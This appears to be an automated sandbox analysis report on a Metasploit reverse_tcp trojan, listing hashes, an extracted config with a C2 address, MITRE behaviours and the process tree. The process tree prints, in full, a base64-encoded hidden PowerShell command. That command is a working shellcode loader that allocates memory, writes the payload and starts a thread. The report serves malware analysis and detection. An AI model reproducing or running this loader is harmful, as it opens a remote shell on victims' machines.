metasploit | 690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6

General

Target

964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe
Size

17KB
MD5

b236486f7756776b56c743c03f7a106e
SHA1

964bc106798c2cfb951a19f8e59e1fcb5510ac23
SHA256

690f3afd44a9fdf735cee163a26b2b5cccdb49d6802713868ddb6a4342dc21b6
SHA512

42f3181244cb3d03cc5f08ede2dea275fadf2f3072f41c06eb8b3ffde3c33ad8fbbd8fb5a47f342b05664b6b553f3d330eb3610e61ff039cb0c1b0195572757d
SSDEEP

384:YfjcjwcOkjc5lPvL/c1fcrj8coFHPAel1rpI2cl1caXUCcYUlkX3nfT0f:ejcjwc1jc5B/c1fcrj8cccl1caXHc2X6

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

192.168.18.106:4535

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2576	powershell.exe
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 2724	2968	964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe	31
PID 2968 wrote to memory of 2724	2968	964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe	31
PID 2968 wrote to memory of 2724	2968	964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe	31
PID 2724 wrote to memory of 2576	2724	cmd.exe	32
PID 2724 wrote to memory of 2576	2724	cmd.exe	32
PID 2724 wrote to memory of 2576	2724	cmd.exe	32
PID 2576 wrote to memory of 2948	2576	powershell.exe	33
PID 2576 wrote to memory of 2948	2576	powershell.exe	33
PID 2576 wrote to memory of 2948	2576	powershell.exe	33
PID 2576 wrote to memory of 2948	2576	powershell.exe	33
PID 2948 wrote to memory of 2876	2948	powershell.exe	34
PID 2948 wrote to memory of 2876	2948	powershell.exe	34
PID 2948 wrote to memory of 2876	2948	powershell.exe	34
PID 2948 wrote to memory of 2876	2948	powershell.exe	34
PID 2876 wrote to memory of 3064	2876	csc.exe	35
PID 2876 wrote to memory of 3064	2876	csc.exe	35
PID 2876 wrote to memory of 3064	2876	csc.exe	35
PID 2876 wrote to memory of 3064	2876	csc.exe	35

C:\Users\Admin\AppData\Local\Temp\964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe
"C:\Users\Admin\AppData\Local\Temp\964bc106798c2cfb951a19f8e59e1fcb5510ac23.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -window hidden -EncodedCommand JAB3AGEARABpACAAPQAgACcAJAAwAFIAQwAyACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkADAAUgBDADIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAOQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgAYgA4ACwAMAB4ADgAOAAsADAAeAA5AGQALAAwAHgAMABiACwAMAB4AGMANwAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA0AGUALAAwAHgAOQA5ACwAMAB4AGUAOQAsADAAeAAzADIALAAwAHgAYgAyACwAMAB4ADQAYQAsADAAeAA2ADIALAAwAHgAYgBjACwAMAB4ADQAYQAsADAAeAA4AGIALAAwAHgAMQBkACwAMAB4ADMANAAsADAAeABhAGYALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAyADIALAAwAHgAYQA0ACwAMAB4AGUAZgAsADAAeAA5AGYALAAwAHgAMgAwACwAMAB4AGUAOAAsADAAeAAwADMALAAwAHgANgBiACwAMAB4ADYANAAsADAAeAAxADgALAAwAHgAOQA3ACwAMAB4ADEAOQAsADAAeABhADEALAAwAHgAMgBmACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAOQA3ACwAMAB4ADEAZQAsADAAeABhADEALAAwAHgAMQA5ACwAMAB4ADEAOAAsADAAeABjAGMALAAwAHgANgAxACwAMAB4ADMAYgAsADAAeABlADQALAAwAHgAMABlACwAMAB4AGIANgAsADAAeAA5AGIALAAwAHgAZAA1ACwAMAB4AGMAMQAsADAAeABjAGIALAAwAHgAZABhACwAMAB4ADEAMgAsADAAeAA5ADQALAAwAHgAYQA2ACwAMAB4ADMAMwAsADAAeABjAGUALAAwAHgAYQBkACwAMAB4ADEAYgAsADAAeABkAGMALAAwAHgAYgA4ACwAMAB4ADMAYQAsADAAeABkADkALAAwAHgAZQAwACwAMAB4ADQANwAsADAAeABlAGMALAAwAHgANQA1ACwAMAB4ADUAOAAsADAAeAAzADAALAAwAHgAOAA5ACwAMAB4AGEAYQAsADAAeAAyAGQALAAwAHgAOABjACwAMAB4ADkAMAAsADAAeABmAGEALAAwAHgANAA1ACwAMAB4ADQANAAsADAAeAA4AGEALAAwAHgANwAxACwAMAB4ADAAMQAsADAAeAA3ADUALAAwAHgAYQBiACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAZgAwACwAMAB4ADYAMgAsADAAeAAyAGMALAAwAHgAMwBmACwAMAB4AGMAYQAsADAAeAA4AGIALAAwAHgAOAA0ACwAMAB4AGIANAAsADAAeAAxADgALAAwAHgAZgA4ACwAMAB4ADEANgAsADAAeAAxAGQALAAwAHgANQAxACwAMAB4ADMAZQAsADAAeABiADQALAAwAHgANgAwACwAMAB4ADUAZAAsADAAeABiADMALAAwAHgAYwA0ACwAMAB4AGEANQAsADAAeAA1AGEALAAwAHgAMgBiACwAMAB4AGIAMwAsADAAeABkAGQALAAwAHgAOQA4ACwAMAB4AGQANgAsADAAeABjADQALAAwAHgAMgA1ACwAMAB4AGUAMgAsADAAeAAwAGMALAAwAHgANAAwACwAMAB4AGIAYQAsADAAeAA0ADQALAAwAHgAYwA3ACwAMAB4AGYAMgAsADAAeAAxAGUALAAwAHgANwA0ACwAMAB4ADAANAAsADAAeAA2ADQALAAwAHgAZAA0ACwAMAB4ADcAYQAsADAAeABlADEALAAwAHgAZQAyACwAMAB4AGIAMgAsADAAeAA5AGUALAAwAHgAZgA0ACwAMAB4ADIANwAsADAAeABjADkALAAwAHgAOQBiACwAMAB4ADcAZAAsADAAeABjADYALAAwAHgAMQBlACwAMAB4ADIAYQAsADAAeABjADUALAAwAHgAZQBkACwAMAB4AGIAYQAsADAAeAA3ADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeAA5AGIALAAwAHgAZAAyACwAMAB4ADcAMQAsADAAeABiADAALAAwAHgAZgBjACwAMAB4AGIAYgAsADAAeAAyAGUALAAwAHgAMQA0ACwAMAB4ADcANgAsADAAeAAyADkALAAwAHgAMwA5ACwAMAB4ADIAOAAsADAAeAA3ADcALAAwAHgAYgAxACwAMAB4ADQANgAsADAAeAA3ADQALAAwAHgAZQAwACwAMAB4ADcAZAAsADAAeAA4AGEALAAwAHgAOAA3ACwAMAB4AGYAMAAsADAAeABlADkALAAwAHgAOQBkACwAMAB4AGYANAAsADAAeABjADIALAAwAHgAYgA2ACwAMAB4ADMANQAsADAAeAA5ADMALAAwAHgANgBlACwAMAB4ADMAZQAsADAAeAA5ADMALAAwAHgANgA0ACwAMAB4AGUANgAsADAAeAAyADgALAAwAHgAMgA0ACwAMAB4AGIAYQAsADAAeAA0ADAALAAwAHgAMwA4ACwAMAB4AGQAYgAsADAAeAAzAGIALAAwAHgAYgAxACwAMAB4ADEAMAAsADAAeAAxAGYALAAwAHgANgBmACwAMAB4AGUAMQAsADAAeAAwAGEALAAwAHgAYgA2ACwAMAB4ADEAMAAsADAAeAA2AGEALAAwAHgAYwBiACwAMAB4ADMANwAsADAAeABjADUALAAwAHgAMAA3ACwAMAB4AGMAMQAsADAAeABhAGYALAAwAHgAMgA2ACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgANAA1ACwAMAB4AGMAZgAsADAAeAA4ADIALAAwAHgAZQA4ACwAMAB4ADgAOAAsADAAeABiADgALAAwAHgAMABhACwAMAB4ADAAZQAsADAAeABmAGEALAAwAHgAOQA2ACwAMAB4ADUAYwAsADAAeAA5AGYALAAwAHgAYgBhACwAMAB4ADQANgAsADAAeAAxAGQALAAwAHgANABmACwAMAB4ADUAMgAsADAAeAA4AGQALAAwAHgAOQAyACwAMAB4AGIAMAAsADAAeAA0ADIALAAwAHgAYQBlACwAMAB4ADcAOAAsADAAeABkADkALAAwAHgAZQA4ACwAMAB4ADQAMQAsADAAeABkADUALAAwAHgAYgAxACwAMAB4ADgANAAsADAAeABmADgALAAwAHgANwBjACwAMAB4ADQAOQAsADAAeAAzADUALAAwAHgAMAA0ACwAMAB4AGEAYgAsADAAeAAzADcALAAwAHgANwA1ACwAMAB4ADgAZQAsADAAeAA1ADgALAAwAHgAYwA3ACwAMAB4ADMAYgAsADAAeAA2ADcALAAwAHgAMQA0ACwAMAB4AGQAYgAsADAAeABhAGIALAAwAHgAOAA3ACwAMAB4ADYAMwAsADAAeAA4ADEALAAwAHgANwBkACwAMAB4ADkANwAsADAAeAA1ADkALAAwAHgAYQBjACwAMAB4ADgAMQAsADAAeAAwAGQALAAwAHgANgA2ACwAMAB4ADYANwAsADAAeABkADYALAAwAHgAYgA5ACwAMAB4ADYANAAsADAAeAA1AGUALAAwAHgAMQAwACwAMAB4ADYANgAsADAAeAA5ADYALAAwAHgAYgA1ACwAMAB4ADIAYgAsADAAeABhAGYALAAwAHgAMAAyACwAMAB4ADcANgAsADAAeAA0ADMALAAwAHgAZAAwACwAMAB4AGMAMgAsADAAeAA3ADYALAAwAHgAOQAzACwAMAB4ADgANgAsADAAeAA4ADgALAAwAHgANwA2ACwAMAB4AGYAYgAsADAAeAA3AGUALAAwAHgAZQA5ACwAMAB4ADIANAAsADAAeAAxAGUALAAwAHgAOAAxACwAMAB4ADIANAAsADAAeAA1ADkALAAwAHgAYgAzACwAMAB4ADEANAAsADAAeABjADcALAAwAHgAMAA4ACwAMAB4ADYAMAAsADAAeABiAGUALAAwAHgAYQBmACwAMAB4AGIANgAsADAAeAA1AGYALAAwAHgAOAA4ACwAMAB4ADYAZgAsADAAeAA0ADgALAAwAHgAOABhACwAMAB4ADAAOAAsADAAeAA1ADMALAAwAHgAOQBmACwAMAB4AGYAMgAsADAAeAA3AGUALAAwAHgAYgBkACwAMAB4ADIAMwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQATwBWAFEASgA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQATwBWAFEASgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQATwBWAFEASgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAHcAYQBEAGkAKQApADsAJABFAHYAMwB2ACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBGADAAIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAQQBGADAAIAAkAEUAdgAzAHYAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQARQB2ADMAdgAgACQAZQAiADsAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -window hidden -EncodedCommand JAB3AGEARABpACAAPQAgACcAJAAwAFIAQwAyACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkADAAUgBDADIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMAOQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgAYgA4ACwAMAB4ADgAOAAsADAAeAA5AGQALAAwAHgAMABiACwAMAB4AGMANwAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA0ADYALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAA0AGUALAAwAHgAOQA5ACwAMAB4AGUAOQAsADAAeAAzADIALAAwAHgAYgAyACwAMAB4ADQAYQAsADAAeAA2ADIALAAwAHgAYgBjACwAMAB4ADQAYQAsADAAeAA4AGIALAAwAHgAMQBkACwAMAB4ADMANAAsADAAeABhAGYALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAyADIALAAwAHgAYQA0ACwAMAB4AGUAZgAsADAAeAA5AGYALAAwAHgAMgAwACwAMAB4AGUAOAAsADAAeAAwADMALAAwAHgANgBiACwAMAB4ADYANAAsADAAeAAxADgALAAwAHgAOQA3ACwAMAB4ADEAOQAsADAAeABhADEALAAwAHgAMgBmACwAMAB4ADEAMAAsADAAeAA5ADcALAAwAHgAOQA3ACwAMAB4ADEAZQAsADAAeABhADEALAAwAHgAMQA5ACwAMAB4ADEAOAAsADAAeABjAGMALAAwAHgANgAxACwAMAB4ADMAYgAsADAAeABlADQALAAwAHgAMABlACwAMAB4AGIANgAsADAAeAA5AGIALAAwAHgAZAA1ACwAMAB4AGMAMQAsADAAeABjAGIALAAwAHgAZABhACwAMAB4ADEAMgAsADAAeAA5ADQALAAwAHgAYQA2ACwAMAB4ADMAMwAsADAAeABjAGUALAAwAHgAYQBkACwAMAB4ADEAYgAsADAAeABkAGMALAAwAHgAYgA4ACwAMAB4ADMAYQAsADAAeABkADkALAAwAHgAZQAwACwAMAB4ADQANwAsADAAeABlAGMALAAwAHgANQA1ACwAMAB4ADUAOAAsADAAeAAzADAALAAwAHgAOAA5ACwAMAB4AGEAYQAsADAAeAAyAGQALAAwAHgAOABjACwAMAB4ADkAMAAsADAAeABmAGEALAAwAHgANAA1ACwAMAB4ADQANAAsADAAeAA4AGEALAAwAHgANwAxACwAMAB4ADAAMQAsADAAeAA3ADUALAAwAHgAYQBiACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAZgAwACwAMAB4ADYAMgAsADAAeAAyAGMALAAwAHgAMwBmACwAMAB4AGMAYQAsADAAeAA4AGIALAAwAHgAOAA0ACwAMAB4AGIANAAsADAAeAAxADgALAAwAHgAZgA4ACwAMAB4ADEANgAsADAAeAAxAGQALAAwAHgANQAxACwAMAB4ADMAZQAsADAAeABiADQALAAwAHgANgAwACwAMAB4ADUAZAAsADAAeABiADMALAAwAHgAYwA0ACwAMAB4AGEANQAsADAAeAA1AGEALAAwAHgAMgBiACwAMAB4AGIAMwAsADAAeABkAGQALAAwAHgAOQA4ACwAMAB4AGQANgAsADAAeABjADQALAAwAHgAMgA1ACwAMAB4AGUAMgAsADAAeAAwAGMALAAwAHgANAAwACwAMAB4AGIAYQAsADAAeAA0ADQALAAwAHgAYwA3ACwAMAB4AGYAMgAsADAAeAAxAGUALAAwAHgANwA0ACwAMAB4ADAANAAsADAAeAA2ADQALAAwAHgAZAA0ACwAMAB4ADcAYQAsADAAeABlADEALAAwAHgAZQAyACwAMAB4AGIAMgAsADAAeAA5AGUALAAwAHgAZgA0ACwAMAB4ADIANwAsADAAeABjADkALAAwAHgAOQBiACwAMAB4ADcAZAAsADAAeABjADYALAAwAHgAMQBlACwAMAB4ADIAYQAsADAAeABjADUALAAwAHgAZQBkACwAMAB4AGIAYQAsADAAeAA3ADYALAAwAHgAOQBlACwAMAB4ADgAYwAsADAAeAA5AGIALAAwAHgAZAAyACwAMAB4ADcAMQAsADAAeABiADAALAAwAHgAZgBjACwAMAB4AGIAYgAsADAAeAAyAGUALAAwAHgAMQA0ACwAMAB4ADcANgAsADAAeAAyADkALAAwAHgAMwA5ACwAMAB4ADIAOAAsADAAeAA3ADcALAAwAHgAYgAxACwAMAB4ADQANgAsADAAeAA3ADQALAAwAHgAZQAwACwAMAB4ADcAZAAsADAAeAA4AGEALAAwAHgAOAA3ACwAMAB4AGYAMAAsADAAeABlADkALAAwAHgAOQBkACwAMAB4AGYANAAsADAAeABjADIALAAwAHgAYgA2ACwAMAB4ADMANQAsADAAeAA5ADMALAAwAHgANgBlACwAMAB4ADMAZQAsADAAeAA5ADMALAAwAHgANgA0ACwAMAB4AGUANgAsADAAeAAyADgALAAwAHgAMgA0ACwAMAB4AGIAYQAsADAAeAA0ADAALAAwAHgAMwA4ACwAMAB4AGQAYgAsADAAeAAzAGIALAAwAHgAYgAxACwAMAB4ADEAMAAsADAAeAAxAGYALAAwAHgANgBmACwAMAB4AGUAMQAsADAAeAAwAGEALAAwAHgAYgA2ACwAMAB4ADEAMAAsADAAeAA2AGEALAAwAHgAYwBiACwAMAB4ADMANwAsADAAeABjADUALAAwAHgAMAA3ACwAMAB4AGMAMQAsADAAeABhAGYALAAwAHgAMgA2ACwAMAB4ADcAZgAsADAAeABjADcALAAwAHgANAA1ACwAMAB4AGMAZgAsADAAeAA4ADIALAAwAHgAZQA4ACwAMAB4ADgAOAAsADAAeABiADgALAAwAHgAMABhACwAMAB4ADAAZQAsADAAeABmAGEALAAwAHgAOQA2ACwAMAB4ADUAYwAsADAAeAA5AGYALAAwAHgAYgBhACwAMAB4ADQANgAsADAAeAAxAGQALAAwAHgANABmACwAMAB4ADUAMgAsADAAeAA4AGQALAAwAHgAOQAyACwAMAB4AGIAMAAsADAAeAA0ADIALAAwAHgAYQBlACwAMAB4ADcAOAAsADAAeABkADkALAAwAHgAZQA4ACwAMAB4ADQAMQAsADAAeABkADUALAAwAHgAYgAxACwAMAB4ADgANAAsADAAeABmADgALAAwAHgANwBjACwAMAB4ADQAOQAsADAAeAAzADUALAAwAHgAMAA0ACwAMAB4AGEAYgAsADAAeAAzADcALAAwAHgANwA1ACwAMAB4ADgAZQAsADAAeAA1ADgALAAwAHgAYwA3ACwAMAB4ADMAYgAsADAAeAA2ADcALAAwAHgAMQA0ACwAMAB4AGQAYgAsADAAeABhAGIALAAwAHgAOAA3ACwAMAB4ADYAMwAsADAAeAA4ADEALAAwAHgANwBkACwAMAB4ADkANwAsADAAeAA1ADkALAAwAHgAYQBjACwAMAB4ADgAMQAsADAAeAAwAGQALAAwAHgANgA2ACwAMAB4ADYANwAsADAAeABkADYALAAwAHgAYgA5ACwAMAB4ADYANAAsADAAeAA1AGUALAAwAHgAMQAwACwAMAB4ADYANgAsADAAeAA5ADYALAAwAHgAYgA1ACwAMAB4ADIAYgAsADAAeABhAGYALAAwAHgAMAAyACwAMAB4ADcANgAsADAAeAA0ADMALAAwAHgAZAAwACwAMAB4AGMAMgAsADAAeAA3ADYALAAwAHgAOQAzACwAMAB4ADgANgAsADAAeAA4ADgALAAwAHgANwA2ACwAMAB4AGYAYgAsADAAeAA3AGUALAAwAHgAZQA5ACwAMAB4ADIANAAsADAAeAAxAGUALAAwAHgAOAAxACwAMAB4ADIANAAsADAAeAA1ADkALAAwAHgAYgAzACwAMAB4ADEANAAsADAAeABjADcALAAwAHgAMAA4ACwAMAB4ADYAMAAsADAAeABiAGUALAAwAHgAYQBmACwAMAB4AGIANgAsADAAeAA1AGYALAAwAHgAOAA4ACwAMAB4ADYAZgAsADAAeAA0ADgALAAwAHgAOABhACwAMAB4ADAAOAAsADAAeAA1ADMALAAwAHgAOQBmACwAMAB4AGYAMgAsADAAeAA3AGUALAAwAHgAYgBkACwAMAB4ADIAMwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQATwBWAFEASgA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQATwBWAFEASgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQATwBWAFEASgAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAHcAYQBEAGkAKQApADsAJABFAHYAMwB2ACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBGADAAIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAQQBGADAAIAAkAEUAdgAzAHYAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQARQB2ADMAdgAgACQAZQAiA